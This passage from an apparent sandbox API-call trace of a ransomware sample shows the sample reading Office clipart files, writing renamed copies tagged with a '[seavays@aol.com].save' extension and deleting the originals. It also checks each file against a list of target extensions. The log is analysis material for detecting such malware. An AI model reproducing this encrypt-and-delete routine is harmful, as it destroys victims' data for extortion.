returned 1 [0077.156] ReadFile (in: hFile=0x314, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.157] WriteFile (in: hFile=0x2f0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.157] SetEndOfFile (hFile=0x2f0) returned 1 [0077.157] CloseHandle (hObject=0x2f0) returned 1 [0077.157] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.157] SetEndOfFile (hFile=0x314) returned 1 [0077.158] CloseHandle (hObject=0x314) returned 1 [0077.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.158] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 1 [0077.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0077.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0077.159] lstrlenW (lpString=".doc") returned 4 [0077.159] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.159] lstrlenW (lpString=".docx") returned 5 [0077.159] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.159] lstrlenW (lpString=".pdf") returned 4 [0077.159] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.159] lstrlenW (lpString=".xls") returned 4 [0077.159] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.159] lstrlenW (lpString=".xlsx") returned 5 [0077.159] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.159] lstrlenW (lpString=".ppt") returned 4 [0077.159] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0077.159] lstrlenW (lpString=".zip") returned 4 [0077.159] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.159] lstrlenW (lpString=".rar") returned 4 [0077.159] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.159] lstrlenW (lpString=".bz2") returned 4 [0077.159] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.159] lstrlenW (lpString=".7z") returned 3 [0077.159] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0077.159] lstrlenW (lpString=".dbf") returned 4 [0077.159] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0077.159] lstrlenW (lpString=".1cd") returned 4 [0077.159] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0077.160] lstrlenW (lpString=".jpg") returned 4 [0077.160] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.160] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.160] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0077.161] GetLastError () returned 0x0 [0077.161] ReadFile (in: hFile=0x314, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x1746, lpOverlapped=0x0) returned 1 [0077.162] WriteFile (in: hFile=0x2f0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x1750, lpOverlapped=0x0) returned 1 [0077.163] ReadFile (in: hFile=0x314, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.163] WriteFile (in: hFile=0x2f0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.164] SetEndOfFile (hFile=0x2f0) returned 1 [0077.164] CloseHandle (hObject=0x2f0) returned 1 [0077.164] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.164] SetEndOfFile (hFile=0x314) returned 1 [0077.165] CloseHandle (hObject=0x314) returned 1 [0077.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.165] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 1 [0077.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0077.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0077.166] lstrlenW (lpString=".doc") returned 4 [0077.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.166] lstrlenW (lpString=".docx") returned 5 [0077.166] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.166] lstrlenW (lpString=".pdf") returned 4 [0077.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.166] lstrlenW (lpString=".xls") returned 4 [0077.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.166] lstrlenW (lpString=".xlsx") returned 5 [0077.166] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.166] lstrlenW (lpString=".ppt") returned 4 [0077.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0077.166] lstrlenW (lpString=".zip") returned 4 [0077.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.166] lstrlenW (lpString=".rar") returned 4 [0077.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.166] lstrlenW (lpString=".bz2") returned 4 [0077.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.166] lstrlenW (lpString=".7z") returned 3 [0077.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0077.166] lstrlenW (lpString=".dbf") returned 4 [0077.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0077.166] lstrlenW (lpString=".1cd") returned 4 [0077.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0077.167] lstrlenW (lpString=".jpg") returned 4 [0077.167] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.167] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.167] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0077.168] GetLastError () returned 0x0 [0077.168] ReadFile (in: hFile=0x314, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x1c80, lpOverlapped=0x0) returned 1 [0077.170] WriteFile (in: hFile=0x2f0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x1c90, lpOverlapped=0x0) returned 1 [0077.171] ReadFile (in: hFile=0x314, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.171] WriteFile (in: hFile=0x2f0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.172] SetEndOfFile (hFile=0x2f0) returned 1 [0077.172] CloseHandle (hObject=0x2f0) returned 1 [0077.172] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.172] SetEndOfFile (hFile=0x314) returned 1 [0077.173] CloseHandle (hObject=0x314) returned 1 [0077.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.173] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 1 [0077.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0077.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0077.174] lstrlenW (lpString=".doc") returned 4 [0077.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.174] lstrlenW (lpString=".docx") returned 5 [0077.174] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.174] lstrlenW (lpString=".pdf") returned 4 [0077.174] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.174] lstrlenW (lpString=".xls") returned 4 [0077.175] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.175] lstrlenW (lpString=".xlsx") returned 5 [0077.175] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.175] lstrlenW (lpString=".ppt") returned 4 [0077.175] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0077.175] lstrlenW (lpString=".zip") returned 4 [0077.175] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.175] lstrlenW (lpString=".rar") returned 4 [0077.175] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.175] lstrlenW (lpString=".bz2") returned 4 [0077.175] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.175] lstrlenW (lpString=".7z") returned 3 [0077.175] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0077.175] lstrlenW (lpString=".dbf") returned 4 [0077.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0077.175] lstrlenW (lpString=".1cd") returned 4 [0077.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0077.175] lstrlenW (lpString=".jpg") returned 4 [0077.176] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.177] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.177] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0077.178] GetLastError () returned 0x0 [0077.178] ReadFile (in: hFile=0x314, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x1526, lpOverlapped=0x0) returned 1 [0077.630] WriteFile (in: hFile=0x2f0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x1530, lpOverlapped=0x0) returned 1 [0077.631] ReadFile (in: hFile=0x314, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.631] WriteFile (in: hFile=0x2f0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.631] SetEndOfFile (hFile=0x2f0) returned 1 [0077.631] CloseHandle (hObject=0x2f0) returned 1 [0077.632] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.632] SetEndOfFile (hFile=0x314) returned 1 [0077.633] CloseHandle (hObject=0x314) returned 1 [0077.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.633] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 1 [0077.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0077.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0077.634] lstrlenW (lpString=".doc") returned 4 [0077.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.634] lstrlenW (lpString=".docx") returned 5 [0077.634] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.634] lstrlenW (lpString=".pdf") returned 4 [0077.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.634] lstrlenW (lpString=".xls") returned 4 [0077.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.634] lstrlenW (lpString=".xlsx") returned 5 [0077.634] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.634] lstrlenW (lpString=".ppt") returned 4 [0077.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0077.634] lstrlenW (lpString=".zip") returned 4 [0077.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.635] lstrlenW (lpString=".rar") returned 4 [0077.635] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.635] lstrlenW (lpString=".bz2") returned 4 [0077.635] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.635] lstrlenW (lpString=".7z") returned 3 [0077.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0077.635] lstrlenW (lpString=".dbf") returned 4 [0077.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0077.635] lstrlenW (lpString=".1cd") returned 4 [0077.635] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0077.635] lstrlenW (lpString=".jpg") returned 4 [0077.635] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.636] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.637] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0077.637] GetLastError () returned 0x0 [0077.637] ReadFile (in: hFile=0x314, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xb10, lpOverlapped=0x0) returned 1 [0077.639] WriteFile (in: hFile=0x2f0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xb20, lpOverlapped=0x0) returned 1 [0077.640] ReadFile (in: hFile=0x314, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.640] WriteFile (in: hFile=0x2f0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.641] SetEndOfFile (hFile=0x2f0) returned 1 [0077.641] CloseHandle (hObject=0x2f0) returned 1 [0077.641] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.641] SetEndOfFile (hFile=0x314) returned 1 [0077.642] CloseHandle (hObject=0x314) returned 1 [0077.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.642] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 1 [0077.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0077.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0077.643] lstrlenW (lpString=".doc") returned 4 [0077.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.643] lstrlenW (lpString=".docx") returned 5 [0077.643] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.643] lstrlenW (lpString=".pdf") returned 4 [0077.643] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.643] lstrlenW (lpString=".xls") returned 4 [0077.643] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.643] lstrlenW (lpString=".xlsx") returned 5 [0077.644] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.644] lstrlenW (lpString=".ppt") returned 4 [0077.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0077.644] lstrlenW (lpString=".zip") returned 4 [0077.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.644] lstrlenW (lpString=".rar") returned 4 [0077.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.644] lstrlenW (lpString=".bz2") returned 4 [0077.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.644] lstrlenW (lpString=".7z") returned 3 [0077.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0077.644] lstrlenW (lpString=".dbf") returned 4 [0077.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0077.644] lstrlenW (lpString=".1cd") returned 4 [0077.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0077.644] lstrlenW (lpString=".jpg") returned 4 [0077.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.645] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.645] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0077.646] GetLastError () returned 0x0 [0077.646] ReadFile (in: hFile=0x314, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x10ca8, lpOverlapped=0x0) returned 1 [0077.649] WriteFile (in: hFile=0x2f0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x10cb0, lpOverlapped=0x0) returned 1 [0077.652] ReadFile (in: hFile=0x314, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.652] WriteFile (in: hFile=0x2f0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.652] SetEndOfFile (hFile=0x2f0) returned 1 [0077.652] CloseHandle (hObject=0x2f0) returned 1 [0077.652] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.653] SetEndOfFile (hFile=0x314) returned 1 [0077.655] CloseHandle (hObject=0x314) returned 1 [0077.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 1 [0077.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0077.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0077.656] lstrlenW (lpString=".doc") returned 4 [0077.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.656] lstrlenW (lpString=".docx") returned 5 [0077.656] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.656] lstrlenW (lpString=".pdf") returned 4 [0077.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.656] lstrlenW (lpString=".xls") returned 4 [0077.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.656] lstrlenW (lpString=".xlsx") returned 5 [0077.656] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.656] lstrlenW (lpString=".ppt") returned 4 [0077.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.656] lstrlenW 